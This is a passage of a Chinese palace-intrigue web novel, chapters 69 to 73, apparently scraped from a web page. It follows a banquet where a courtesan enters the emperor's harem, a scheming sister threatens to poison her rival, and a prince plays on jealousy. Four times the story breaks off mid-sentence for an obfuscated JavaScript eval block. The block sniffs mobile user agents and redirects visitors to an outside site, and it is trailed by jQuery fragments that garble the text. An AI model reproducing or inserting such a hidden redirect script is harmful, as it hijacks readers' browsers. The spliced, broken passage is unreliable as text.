身旁的熙贵妃一袭华服锦袍,雍容华贵,仪态万千。 “平身。”皇帝微微颔首,抬手示意众人起身。 他与熙贵妃并肩走到大殿中央的龙椅前落座,目光扫视全场,最终落在萧凌川身上,声音中带着一丝亲昵:“川儿,到朕身边来坐。” 萧凌川颔首:“是,父皇。” 三皇子萧修湛的脸上闪过一丝嫉妒之色。 冬猎萧凌川救驾有功,又遭人陷害,如今竟成了皇帝最宠爱的皇子。 要知道,就在不久之前,能坐在皇帝身旁的,还是他这个三皇子! 姜瑶真眸色晦暗,心中思绪万千。 谁能想到,如今大邺最受宠的皇子,竟会是这个自幼在冷宫中长大的南月后裔? 早知今日,当初就不该只把萧凌川当作一枚棋子,以至于错失良机! 可如今木已成舟,她只能期盼三皇子萧修湛早日重获圣宠,东山再起。 众人落座,丝竹之声响起,梅花宴正式拉开帷幕。 内侍尖细的嗓音宣告着第一批舞姬即将登场。 此时,萧修湛突然起身,向皇帝行礼道:“父皇,姜二姑娘特意为您准备了一支别出心裁的舞蹈,还望父皇能够欣赏。” 此言一出,所有人的目光都聚焦在姜瑶真身上。 她一袭红裙,面覆红纱,更衬得肌肤如雪,眉目灵动。 姜瑶真落落大方地起身,盈盈一拜:“臣女的确准备了一支舞蹈,希望能有机会献给陛下,还望陛下恩准。” 高座之上的皇帝朗声笑道:“准了!你这一身红衣,恰似这盛开的梅花,与今日的梅花宴相得益彰。朕很是期待准三皇子妃的表演!” 皇帝话音刚落,姜瑶真便迫不及待地提着裙摆上了台。 她所跳的,是大邺赫赫有名的祈福舞。 此舞动作繁复,对体力要求极高,通常由男子演绎。 而姜瑶真身着红衣,翩若惊鸿,又兼具骑马射箭的功底,跳起这祈福舞来,竟是游刃有余,将女子的柔媚与男子的力量霸气完美融合,引得在场宾客目不转睛,如痴如醉。 台下宴席上,顾晚樱嗤笑一声,对身旁几位贵女说道:“方才还说是为太后献舞,如今又说是为陛下献舞,真是巧言令色,左右逢源。” 另一位贵女语气嘲讽:“次次登场都只会跳舞,尽耍些勾栏瓦舍的伎俩,不知道的还以为她是哪家歌楼的舞姬呢!” “听说这姜瑶真的生母就是春香楼的歌伎,如此看来,倒也算是子承母业了。”几人正说得兴起,顾晚樱睨了她们一眼,目光飘向姜姝宁,意有所指道:“快别说了,人家的姐姐还在这儿呢!” 姜姝宁佯装听不见,神色淡然。 顾晚樱又道:“哦,瞧我这记性,差点忘了你们姐妹不睦!姜姝宁,不如你来加入我们吧,往后我罩着你!” “就是就是!”一位贵女附和道,“那姜瑶真将来不过是个三皇子妃,哪有晚樱姐姐这个太子妃位高权重?” 另一个贵女也道:“姜姑娘,你那妹妹如此嚣张跋扈,又爱抢你的风头,若是有晚樱姐姐给你撑腰,她日后肯定不敢再欺负你!” 姜姝宁微微一笑,婉言谢绝:“晚樱姑娘的好意我心领了。只是陛下最厌恶结党营私,我们这些女眷若是私底下拉帮结派,恐怕有些不妥。” 顾晚樱碰了软钉子,心中有些不悦:“好,你如此不识抬举,往后若是在你妹妹那里吃了亏,可别怪我不帮你!” “多谢晚樱姑娘提醒。”姜姝宁神色依旧浅淡。 并非她清高孤傲,不愿与这些贵女们结盟。 只是她们的手段终究有限,最多不过是孤立姜瑶真,在背后说些闲言碎语,于她而言,不过是隔靴搔痒,不痛不痒。 她和姜瑶真之间,隔着姜天恩这条人命,岂是说说闲话就能了结的? 她要的,是姜瑶真血债血偿! 一阵热烈的掌声响彻宴会大厅,姜瑶真的舞蹈表演就此落幕。 皇帝龙颜大悦,抚须大笑:“好!好!好!朕还是第一次见到女子能将大邺祈福舞演绎得如此淋漓尽致!准三皇子妃果然才艺双全!赏!” 姜瑶真气息微喘,激动地叩首谢恩:“谢陛下隆恩!” 她回到席位,得意地瞥了姜姝宁一眼,故意将皇帝赏赐的夜明珠放在桌上,炫耀道:“姐姐,你应该没见过夜明珠吧?若是喜欢,便送给你好了。我如今是准三皇子妃,日后这样的宝物多的是。姐姐至今还未定下婚约,以后有没有机会得到这样珍贵的夜明珠可就难说了!” 姜姝宁唇角勾起一抹嘲讽的弧度:“多谢妹妹好意。不过妹妹跳了这么久的舞,想必已经汗流浃背了吧?不如将面纱摘下来透透气如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620091|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜瑶真闻言,脸色骤变。 顾晚樱也趁机附和道:“是啊,瑶真妹妹为何一直戴着面纱,即便舞毕也舍不得摘下?莫非是脸上长了什么东西,不敢示人?” 姜瑶真下意识地捂住脸,语气生硬:“当然不是!我只是怕摘下面纱之后,会让各位姐姐们自惭形秽!” 姜姝宁只觉得可笑,低头浅酌了一口果酒。 从小到大,她都不屑与姜瑶真攀比,可姜瑶真却总是将她视为假想敌,如今更是像个跳梁小丑一般上蹿下跳。 她最好祈祷三皇子能够翻身,否则,日后恐怕再也没有这样耀武扬威的机会了。 舞姬们翩然而至,重回舞台。 出乎所有人意料的是,她们所跳的,竟也是大邺的祈福舞。 与姜瑶真不同的是,领舞的舞姬并未蒙面,一张千娇百媚的脸蛋就这样暴露在众人视线中。 她赤着双足,纤细的脚踝上系着银铃,随着舞步的变换,发出清脆悦耳的声响,一颦一笑,皆是风情。 一位贵女低声说道:“这舞姬真是不知羞耻,竟敢当着这么多人的面光着脚!” 另一位贵女附和道:“她本就是春香楼的头牌,名叫凝香,一个以色侍人的玩意儿。别说光脚了,只要价钱合适,怕是连身子都愿意露出来!” 顾晚樱意味深长地看向姜瑶真:“瑶真妹妹,你竟然和一个女支子跳同样的舞蹈,还真是别具一格啊!” 姜瑶真脸色阴沉,一言不发。 这舞姬一上台,她就觉得有些眼熟,如今仔细一看,果然是萧修湛在春香楼包养的头牌——凝香。 她怎么会进宫献舞? 难道是萧修湛的意思? 正疑惑间,一股若有似无的异香飘散开来。 随着凝香舞姿愈发曼妙,这香味也愈发浓烈,弥漫在整个宴会大厅之中,就连皇帝的神情都变得有些迷离。 一舞终了,皇帝拍手叫好:“姑娘舞姿动人,不知姑娘芳名?在何处谋生?” 凝香盈盈下拜:“启禀陛下,民女名叫苏凝香,是京城春香楼的歌伎。” “凝香?”皇帝眉头微蹙,“你就是那个天生体香,闻名于世的春香楼头牌?” “正是民女。” “今日一见,果然名不虚传!”皇帝笑着说道,“你的祈福舞朕甚是喜欢,想要什么赏赐,尽管开口。” “回陛下,民女斗胆,想侍奉在陛下左右,哪怕只是一个身份低微的宫女也心甘情愿!” 此言一出,全场哗然。 第70章 纳入后宫 第七十章纳入后宫 熙贵妃率先表示反对,语气尖锐:“陛下!此女乃一介烟花女子,千人枕万人骑,陛下贵为天子,怎可将这等轻贱之人留在身边?” 台下的萧修湛也面露惊愕之色,显然没料到凝香竟会提出如此大胆的请求。 姜瑶真不动声色地观察着萧修湛和熙贵妃的神情,心中暗忖:看来此事并非萧修湛安排。 熙贵妃是皇帝的宠妃,萧修湛怎会将一个女人送到皇帝身边,与其母妃争宠? 那么,究竟是谁将这凝香送到皇帝面前的呢? 凝香神色恭谨,不慌不忙地解释道:“启禀陛下,贵妃娘娘,民女虽在春香楼谋生,却是卖艺不**,至今仍是清白之躯。若陛下不信,大可召宫人前来验证!” 皇帝闻言,双眼顿时亮了起来。 身有异香的女子罕见,身有异香且还是完璧之身的女子就更稀有了! “既如此,那便找人为凝香姑娘验一验!” 太后此时缓缓开口:“皇帝,那便由吴嬷嬷前去验看吧。” 吴嬷嬷是太后身边的近身嬷嬷,也是宫中经验丰富的老人,女子是否完璧,她一验便知。 很快,吴嬷嬷领着凝香退了下去。 熙贵妃见皇帝动了纳凝香入宫的心思,脸上的愠色根本压不住。 台下的萧修湛也一脸怒容。 凝香是否完璧之身,他比任何人都清楚。 可他总不能当众揭穿此事,告诉皇帝凝香早已被他染指。 按照大邺律例,皇子是不得出入风月场所,若是他主动承认,岂不是授人以柄,给那些大臣们**他的机会? 他只能寄希望于吴嬷嬷,希望她能给出否定的结论,打消皇帝纳凝香入宫的念头。 不到半盏茶的功夫,吴嬷嬷便带着凝香回到了大殿。 “启禀陛下,凝香姑娘确是完璧之身。” 此言一出,萧修湛猛地站起身来,失声道:“这怎么可能?!” 吴嬷嬷神色冰冷地看向萧修湛:“三皇子殿下,您这是信不过老奴的验身之术,还是怀疑老奴欺君罔上?” 吴嬷嬷是太后陪嫁的婢女,服侍太后近五十年,她的话便代表着太后的颜面,容不得旁人质疑。 “吴嬷嬷误会了,我并非此意,只是她毕竟出身风尘……” 太后接过萧修湛的话茬,看向皇帝:“三皇孙所言不无道理。凝香姑娘虽是清白之躯,但毕竟出身烟花之地,即便身带异香,也不宜给她太高的位份,以免引起后宫非议。哀家以为,不如封她为美人,陛下以为如何?” 皇帝闻言大喜:“一切听凭母后安排!” 他就是想将将人纳入后宫,至于什么名分都是次要的。 太后明面上是认可萧修湛的话,实际上还是遂了他这个皇帝的意。 “既如此,便将苏美人带下去,安置在储秀宫吧!宴会继续!”太后一声令下,乐声再次响起,掩盖了方才的波澜。 熙贵妃眼见木已成舟,脸色阴沉得仿佛能滴出水来。 皇帝则恰恰相反,脸上带着几分按捺不住的期待。 他暗暗估摸着时间,盘算着等苏美人梳洗完毕,便寻个由头前往储秀宫。 萧修湛如坐针毡,终是按捺不住,借口不胜酒力,起身离席。 姜瑶真见状,也悄然离桌,尾随而去。 宫人们正要引着凝香前往储秀宫,萧修湛却冷着脸厉声喝止:“都给本皇子滚下去!” 宫人们不敢违抗,只得纷纷后退。 凝香不慌不忙地向萧修湛行礼:“参见三皇子殿下。” “苏凝香,你好大的胆子!竟敢背着本皇子,勾引父皇!谁给你的胆子?!”萧修湛怒不可遏。 “凝香走到今日这一步,难道不是殿下逼迫的吗?”凝香抬起眼眸,泪光盈盈,“殿下可还记得,您有多久不曾来春香楼看过凝香了?春香楼这等地方,向来是捧高踩低的。殿下不来看凝香,楼中又来了不少新人,老鸨便想逼迫凝香接客。若非凝香行此险棋,恐怕真要如同贵妃娘娘所言的那样,落得个千人枕万人骑的下场!” 凝香这副梨花带雨的娇弱模样,让萧修湛心中一软。 原来,她是没了自己的庇护,才迫不得已出此下策。 的确,这段时日以来,他忙于朝中之事,无暇顾及春香楼。 自那日发现姜瑶真身带异香之后,他对凝香便渐渐兴味索然了。 “那你身上的异香,还有……完璧之身,又是怎么回事?”萧修湛仍有疑惑。 凝香嘴角勾起一抹自嘲的弧度。 “殿下不会真以为这世上真有天生体香的女子?这香味,不过是凝香服用了一种名为‘凝香丸’的药物所致。此药有毒,长期服用会导致不孕。但为了能得陛下垂怜,即便终生无法诞育子嗣,凝香也心甘情愿!至于完璧之身……”凝香顿了顿,“既能伪造体香,这处子之身,又岂是难事?” 萧修湛闻言大惊失色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620092|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你……你这是欺君之罪!” “嘘!”凝香纤纤玉指抵住萧修湛的嘴唇,低声说道,“只要殿下不说,便不算欺君。凝香只想体面地活着,还望殿下看在凝香这些年尽心伺候的份上,给凝香一条活路,可好?” 凝香身上散发出的浓郁香气,以及较之以往更显娇媚的容颜,无不让萧修湛心神荡漾。 一想到日后她将成为父皇的女人,他心中竟生出一股难以言喻的妒意和不甘。 萧修湛看着凝香,眼中闪过一丝贪婪:“若本皇子帮你保守秘密,你当如何报答?” 凝香故作迟疑:“殿下想要什么?” 萧修湛凑到她耳边,语气暧昧:“自然是……让你多帮本皇子吹吹父皇的枕边风……” 这一幕恰好被不远处的姜瑶真撞见。 妒火中烧的她冲上前去,怒不可遏道:“殿下!你怎能背着臣女与其他女子纠缠不清?!” 凝香见状,连忙后退几步,向萧修湛行礼告退:“殿下,民女先行告退。” 说罢,便飘然离去。 萧修湛望着凝香离去的背影,眼中流露出毫不掩饰的眷恋。 “殿下!”姜瑶真怒气难消,“你如此行径,可有将臣女这个未婚妻放在眼里?” “放不放眼里,又如何?”萧修湛逼近姜瑶真,果然没有闻到上次那股异香,顿时冷笑一声,“上次,你是服用了‘凝香丸’才来见本皇子的吧?本皇子先前还当真以为你是天生体香,没想到竟是服用药物所致。怎么?你把本皇子当傻子耍,还不许本皇子亲近其他女子,是谁给你的底气?” 姜瑶真没想到自己的伎俩会被萧修湛当场揭穿,顿时羞愧难当,脸色涨得通红。 她连忙装出一副泫然欲泣的模样:“臣女该死!臣女只是想让殿下多在乎臣女一些,才出此下策,并非有意欺瞒殿下。臣女自知不该干涉殿下私事,可那凝香姑娘,如今已是陛下的人了。殿下若是执意与她纠缠不清,就不怕招来祸患吗?” “我不过是稳住她,让她为我所用罢了。”萧修湛看着姜瑶真那双比寻常女子更加深邃妩媚的眼眸,轻笑一声,“姜二姑娘这是吃醋了?放心,凝香虽身带异香,可容貌却远不及你。本皇子自然还是更喜欢你一些。” 话音刚落,他便迫不及待地扯开姜瑶真脸上的面纱,想要一亲芳泽。 当他看到姜瑶真那张长满化脓疙瘩的脸时,顿时吓得连连后退。 “你……你的脸怎么了?!” 第71章 难以言喻的恐慌 第七十一章难以言喻的恐慌 姜瑶真慌忙掩面,惊慌失措地解释道:“殿下,臣女只是吃了些荤腥,脸上起了疹子……” “疹子?”萧修湛满眼狐疑,“但愿如此!本皇子给你一个月的时间,若是你一个月后还是这副尊容,本皇子便向父皇请求一道圣旨,取消你我之间的婚约!” “不!不要!”姜瑶真惊呼出声,“殿下,臣女已是您的人了,若是被您退婚,臣女今后还如何嫁人?!” “难道要本皇子娶一个丑陋不堪的女子为妻吗?”萧修湛厌恶地皱起眉头,“你除了这张脸,还有什么比得上其他世家贵女?即便父皇再给姜家面子,也不可能逼迫本皇子娶一个丑八怪!” 说罢,他拂袖而去,甚至不愿再多看她一眼。 望着他决绝的背影,姜瑶真心中一阵绝望。 自从用了那盒北陵脂粉之后,她的脸就变成了这副鬼样子。 倘若一个月后,脸上的疙瘩依旧无法消退,那该如何是好? 这门婚事是她好不容易才得来的,若是被退婚,她已非完璧之身,莫说皇家,恐怕就连寻常百姓家也不会有人愿意娶她! 谁能帮帮她? 一个名字在她脑海中闪过——萧凌川! 他既然能解南月奇毒,背后肯定有个擅长解毒的高人。 他一定有办法解北陵脂粉里的毒! 可是,萧凌川肯定不会轻易出手帮她,恐怕连见她一面都不肯。 姜瑶真重新戴上面纱,眸中闪过一丝阴狠。 看来,只能孤注一掷,动用那个法子了! 姜瑶真急匆匆地走向梅园外的偏殿。 半路上,迎面遇上一位男子,见到她时,惊喜地唤道:“姜二姑娘!” 姜瑶真抬眸,正对上御史之子顾亦庭那张清隽俊逸的脸。 “顾公子。”姜瑶真微微颔首。 “没想到姜二姑娘不仅容貌倾城,舞技更是超群绝伦。方才在下在台下观赏姑娘的祈福舞,当真是惊艳不已。在下从未见过女子能将祈福舞演绎得如此精彩绝伦!”顾亦庭由衷称赞道。 想起方才在宴席上被他妹妹顾晚樱嘲讽,姜瑶真不禁冷笑一声:“方才陛下新纳的美人凝香姑娘,也跳了祈福舞。顾公子难道不觉得,臣女与一个名女支跳同样的舞蹈,有失体统吗?” “那等以色侍人的女子,怎能与姜二姑娘相提并论?”顾亦庭忙不迭道,“姜二姑娘舞姿曼妙,顾盼生辉,那凝香不过是为了攀附皇权,哗众取宠罢了,根本不配与姑娘相提并论!” 姜瑶真对男人爱慕的眼神早已司空见惯。 这顾亦庭,分明对她有意。 她不妨好好利用他一番,或许日后会有用处。 “多谢顾公子美言。只是那凝香如今已是陛下的美人,公子这番话若是传到旁人耳中,恐怕会招来祸端。” 顾亦庭硬气道:“在下句句肺腑之言,即便陛下要治罪,在下也绝不收回!” 姜瑶真嫣然一笑:“顾公子倒是有几分顾御史的铮铮铁骨,不愧是虎父无犬子!” 被她这么一夸,顾亦庭心中喜不自胜。 “姜二姑娘谬赞了。” “顾公子,我还有事,先行一步。” 姜瑶真不愿在他身上浪费时间,她还有更重要的事情要去处理。 顾亦庭目送着她离去,见她朝着偏殿的方向走去,他不禁抬头望了望天色。 时辰已不早,晚宴即将开始,姜二姑娘要去哪? 他鬼使神差地跟了上去。 偏殿内,萧凌川**桌前品茶。 殿中燃着银骨炭,温暖如春;袅袅乌沉香的香气弥漫开来,正是姜姝宁所喜爱的味道。 一阵叩门声响起,萧凌川清了清嗓子:“进来。” 当他看到来人竟是一袭红衣的姜瑶真时,脸色骤然阴沉下来:“怎么是你?” 他收到的字条,上面分明是姜姝宁的笔迹! 姜瑶真目光落在他手中被捏成一团的字条上,又迅速收回,低声道:“四皇子殿下,约您前来的是臣女。臣女怕殿下不愿见我,这才斗胆模仿了姐姐的笔迹。” 她心中一阵妒恨,原来只要以姜姝宁的名义,就能如此轻易地将萧凌川约出来。 她究竟哪一点比不上姜姝宁? “你好大的胆子,竟敢冒充她将我约出来!”萧凌川将手中的字条捏得粉碎,“你最好现在就从我眼前消失,否则,后果自负!” “殿下!”姜瑶真“噗通”一声跪倒在他面前,泪如雨下,“臣女实在是走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620093|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投无路了,这才斗胆前来求助殿下。姐姐嫉妒臣女的容貌,在北陵脂粉中下毒,又将这脂粉转赠给臣女,害得臣女如今面容溃烂。” 说着,她掀开面纱一角,露出脸上触目惊心的化脓疙瘩。 “嫉妒你的容貌,给你下毒?”萧凌川嗤笑一声,“姜瑶真,你以为这天下的女子都跟你这般城府深沉,手段歹毒吗?” “殿下信也好,不信也罢,臣女只求殿下看在臣母曾为殿下效力的份上,赐臣女解药,让臣女的脸尽快恢复。臣女感激不尽!” “我要你的感激做什么?”萧凌川俊美的脸上满是寒霜,“你于我而言,不过是一枚牵制你母亲的棋子罢了,别把自己太当回事。今日之事,我可以不与你计较。但若有下次,再敢以她的名义戏耍于我,就休怪本皇子不客气!” 说完,他便起身欲走。 姜瑶真见哀求无用,脸色阴沉地站起身,对着萧凌川的背影说道:“殿下当真不肯相助?臣女认识一位赫赫有名的毒师,她研制的**无人能解。若是臣女将那毒师新研制的**用来对付姐姐,殿下觉得,姐姐她还能活吗?” 萧凌川脸色骤变,猛地转身,一把扣住姜瑶真的手腕,桃花眼中戾气翻涌:“你敢!” 姜瑶真强忍着内心的恐惧,迎上他狠厉的目光:“我如今已是这般模样,还有什么不敢的?我和姐姐同住一个屋檐下,有的是机会给她下毒!更何况,这**无色无味,就算姐姐**,大理寺也查不出她是**而亡!” 一阵难以言喻的恐慌涌上萧凌川心头。 那位南月毒师如今就在相府,若是她与姜瑶真勾结,要害死姜姝宁简直易如反掌。 前世他已经失去她一次,今生绝不能让这样的悲剧重演! 此时来到窗外的顾亦庭正好看到这一幕——萧凌川紧紧扣着姜瑶真的手腕,神情强硬,似乎在逼迫她什么。 孤男寡女共处一室,还点着熏香和银骨炭,四皇子殿下莫不是对姜二姑娘有意? 这可不行! 姜二姑娘已经和三皇子定下婚约,四皇子此番行径,岂不是坏了姜二姑娘的名声? 顾亦庭想推门而入,却又想起四皇子那冷若冰霜的神情,不禁有些胆怯。 罢了,还是去找其他人来阻止他吧! 第72章 投怀送抱 第七十二章投怀送抱 姜姝宁在宴席上拒绝了顾晚樱的提议后,便被一众世家贵女孤立。 她索性离席,独自一人来到宴会厅外赏梅。 一位男子匆匆走到她面前:“姜姑娘,你可让在下好找!” 姜姝宁抬眸一看,竟是顾亦庭。 他不是姜瑶真众多爱慕者之一吗? 来找她做什么? “不知顾公子找我有何事?” 顾亦庭压低声音道:“四皇子殿下正在梅园附近的偏殿内私会姜二姑娘。姜二姑娘如今已有婚约在身,如此私下会面,恐有不妥。还望姜姑娘念及姐妹情谊,前去劝说一二,以顾全令妹的声誉。” 姜姝宁黛眉微蹙。 姜瑶真和萧凌川? 难怪方才在殿上未见他的人影。 没想到他竟如此大胆,在天子脚下也敢私会姜瑶真。 看来,萧凌川为了他的白月光,当真是不顾一切,即便再不体面,也甘之如饴。 姜姝宁心头涌上一股难以名状的滋味,酸涩中夹杂着几分厌恶。 “这与我何干?”她冷声道,“顾公子若是如此在意,何不亲自前去劝阻?” 顾亦庭闻言有些恼怒:“你不是爱慕四皇子殿下吗?难道你能眼睁睁看着自己的妹妹与他拉拉扯扯,纠缠不清?若是被旁人瞧见,岂不是坏了姜二姑娘的名声?到那时,陛下说不定会将姜二姑娘赐婚给四皇子殿下!” 这话倒是提醒了姜姝宁。 萧凌川之所以会答应帮她对付萧修湛,想争夺的除了大邺皇位之外,还有姜瑶真这个白月光。 倘若他真的如愿以偿,娶了姜瑶真,或许就不会再执着于对付萧修湛了。 唯有求而不得的痛苦,才能转化成足够强大的恨意,助她除掉萧修湛! “他们在哪个偏殿?还请顾公子带我前去!” 见她终于被说动,顾亦庭松了口气:“请姜姑娘随在下来!” 此时,偏殿内的萧凌川已经恢复了冰冷的神色。 他从袖中取出一个瓷瓶,扔在地上:“把这药带回去,每日涂抹一次,连用七日,脸上的溃烂便可痊愈。在此期间,记得每日净面,切勿再使用任何脂粉!” 姜瑶真捡起瓷瓶,一脸狐疑:“殿下还未查看过北陵脂粉中的毒,如何得知这解药有效?这当真是解药?莫不是殿下在诓骗臣女?” 萧凌川给的自然不是什么解药。 前世蒋贵妃使用北陵脂粉后容颜溃烂之事,他也略有耳闻。 实际上根本无需医治,只要停用北陵脂粉,过几日,脸上的溃烂便会自行消退。“信不信由你!但你若是胆敢动姜姝宁一根汗**,我定让你死无葬身之地!”萧凌川神色阴鸷,如同地狱修罗一般可怖。 姜瑶真被他这骇人的模样吓得瑟瑟发抖,捧着瓷瓶千恩万谢:“多谢殿下!臣女感激不尽!” 这一幕,恰好被来到殿外的姜姝宁透过门缝瞧见。 原来,萧凌川私下约见姜瑶真,是为了给她送药。 看来,他还是十分在意姜瑶真这张美艳皮相的。 呵,男人! 殿内,姜瑶真看着眼前神色冷若冰霜的萧凌川,心中愈发不甘。 明明从前,他与其他男子并无二致,也是在意她的,为何自从救了落水的姜姝宁之后,所有心思便都放在了姜姝宁身上? 难道是因为姜姝宁落水后衣衫不整,曲线毕露,让他窥见了旖旎春光,以至于动了心思? 想到这,她心一横,索性将外衣褪至肩部,扑进萧凌川怀中:“殿下的大恩臣女无以为报,若殿下不嫌弃,臣女愿以身相许!” 萧凌川未料到她会有此举动,还来不及推开她,殿门便被人推开,姜姝宁径直走了进来。 她面色阴沉,隐隐带着几分愠怒:“殿下,你这是在做什么?” 姜瑶真看到姜姝宁,吓得花容失色,连忙松开萧凌川,慌乱地整理着自己的衣裙。 该死!偏偏在这个节骨眼上,姜姝宁来凑什么热闹! 净坏她好事! 萧凌川见她一副气势汹汹的模样,眸色微沉。 “姜姑娘以为,我在做什么?” “你!”姜姝宁恨恨地瞪着他,他们两人衣衫不整,还能做什么? 若是她晚来一步,他是不是就要接受姜瑶真这份“谢礼”了? “殿下莫不是忘了,我妹妹如今已和三皇子殿下订下婚约!殿下这般与她私下会面,难道不觉得有失妥当吗?” 姜瑶真心头一惊,连忙拉住姜姝宁的衣袖,泫然欲泣:“姐姐,你别怪四皇子殿下,都是我的错!” “你当然有错!你既已定亲,怎可再与外男拉拉扯扯?这分明是在打皇家的脸!你若是想死,大可自行了断,莫要连累姜家!” 姜瑶真被她一通斥责噎得说不出话来。 姜姝宁转而看向萧凌川,清澈如水的眼眸中此刻蓄满怒意:“殿下竟敢在陛下眼皮子底下私会已有婚约的女子,难道就不怕声名狼藉,受人非议?还望殿下自重!” 躲在殿外的顾亦庭听到这番话,也不禁暗暗吃惊。 没想到平日里看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620094|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔柔弱弱的姜姝宁,骂起人来竟如此凌厉。 那可是四皇子啊! 她竟敢当面斥责他,这胆量也着实太大了! 萧凌川极少见到姜姝宁发怒的模样。 前世她总是隐忍不发,或是默默垂泪,没有半点攻击性。 如今见她气鼓鼓的模样,眉目生动,双颊绯红,竟觉得有几分可爱。 原来,她生气时,是这般模样。 不知为何,他竟有些心痒难忍,升起一丝逗弄之意。 “姜姑娘当真是怕本王声名狼藉,担心令妹名声受损吗?”萧凌川似笑非笑地看着她。 “自然!”姜姝宁冷声答道。 “可我怎么觉得,姜姑娘是在吃醋呢?”他步步逼近,故意深吸一口气,神色揶揄,“好酸的一股醋味!” “你……”姜姝宁脸上红一阵白一阵,羞恼交加。 萧凌川,怎么如此厚颜无耻! 姜瑶真见他们二人之间隐隐有打情骂俏的意味,心中恼火至极,却又不得不强装出一副羞愧的模样,拉着姜姝宁的手,哽咽道:“姐姐,别说了,我知错了,我们回宴席吧!” 姜姝宁这才狠狠地瞪了萧凌川一眼:“还望殿下往后行事注意分寸!” “知道了。”萧凌川神色慵懒,“既然不能和有婚约的女子私下会面,那本王以后若有什么事,便来找姜姑娘好了。毕竟姜姑娘如今尚无婚约,自然不怕流言蜚语。” 姜姝宁真想破口大骂,可姜瑶真一直拉着她的手往外走,让她没有发挥的机会。 二人就这样走出了偏殿。 萧凌川望着姜姝宁离去的背影,唇角不禁微微上扬。 她误会自己和姜瑶真私会便如此怒不可遏,是否代表她在意自己? 想到这,他今日被姜瑶真骗出来,又被她威胁的坏心情顿时一扫而空。 姜姝宁冷着脸,径直往宴会厅而去。 姜瑶真跟在她身后,故作委屈地低声啜泣起来。 “姐姐,我方才实在是被逼无奈,才出此下策,还请姐姐千万替我保密,不要让三皇子知道此事。妹妹以后一定谨言慎行,绝不会再给姜家丢脸!” 姜姝宁停下脚步,冷冷地看着她。 “放心,今日之事我不会告诉三皇子。你且安心当你的准太子妃吧。” 她最痛恨的两个人,自然要绑定在一起才好。 届时,她才好将他们一网打尽,送他们共赴黄泉! 今生,她不会再给萧凌川机会庇护姜瑶真。 姜瑶真,必须和萧修湛一起死! 第73章 她吃醋了 第七十三章她吃醋了 萧凌川回到宴席,七皇子萧琪钰便对他挤眉弄眼道:“四哥,嫂嫂私下约你见面,都聊了些什么悄悄话啊?” 萧凌川端起桌上的果酒轻啜一口,淡淡道:“约我的并非姜姝宁,而是姜瑶真。那纸条,是她模仿姜姝宁的笔迹写的。” “什么?”萧琪钰手中的酒杯险些滑落,“亏得我和凌风还怕打扰到你们二人,特意没有跟过去。这姜二小姐也真是狡猾!” “无妨,姜姝宁后来也来了。”萧凌川夹起一口菜,漫不经心道,“她看到我和姜瑶真衣衫不整地抱在一起,生了很大的气。” 萧琪钰正在喝酒,听到这话差点被呛到。 “那、那怎么办?”他一脸担忧地问道,“你没有和嫂嫂解释清楚吗?” 萧凌川脸上浮起一丝笑意:“她生气,正说明她在吃醋。若非心中在意,又怎会吃醋?只是她自己尚未意识到这份在意罢了。我只需顺其自然就好,无需多做解释。” “四哥,你确定?”萧琪钰一脸难以置信,“我只听说过男女会因为误会而分开的,可从未听过会因为误会而走到一起的。四哥,你这步棋,会不会太险了一些?” “只要能让姝宁看清自己的内心,即便险一些,也值得。”萧凌川神色浅淡,语气中却透着一股不容置疑的笃定。 比起她的冷若冰霜和毫不在意,他更希望看到她因为他和其他女子暧昧不清而吃醋的模样。 前世,她明明那般深爱着他,可今生,却常常对他视而不见。 或许,他们之间正需要这样一个误会,来让他们的关系更进一步。 萧琪钰嘴角微抽:“四哥,你开心就好!” 心中却暗暗腹诽:等嫂嫂被其他皇兄抢走,有你哭的时候! “那个南月毒师,必须尽快拿下。”萧凌川神色陡然变得凝重,“将她留在相府,终究是个隐患。” “凌芜已经按照我们的计划,暗中收集了她藏在后厨的**。待我们研制出解药,便可不必再担心被她所伤,届时……” 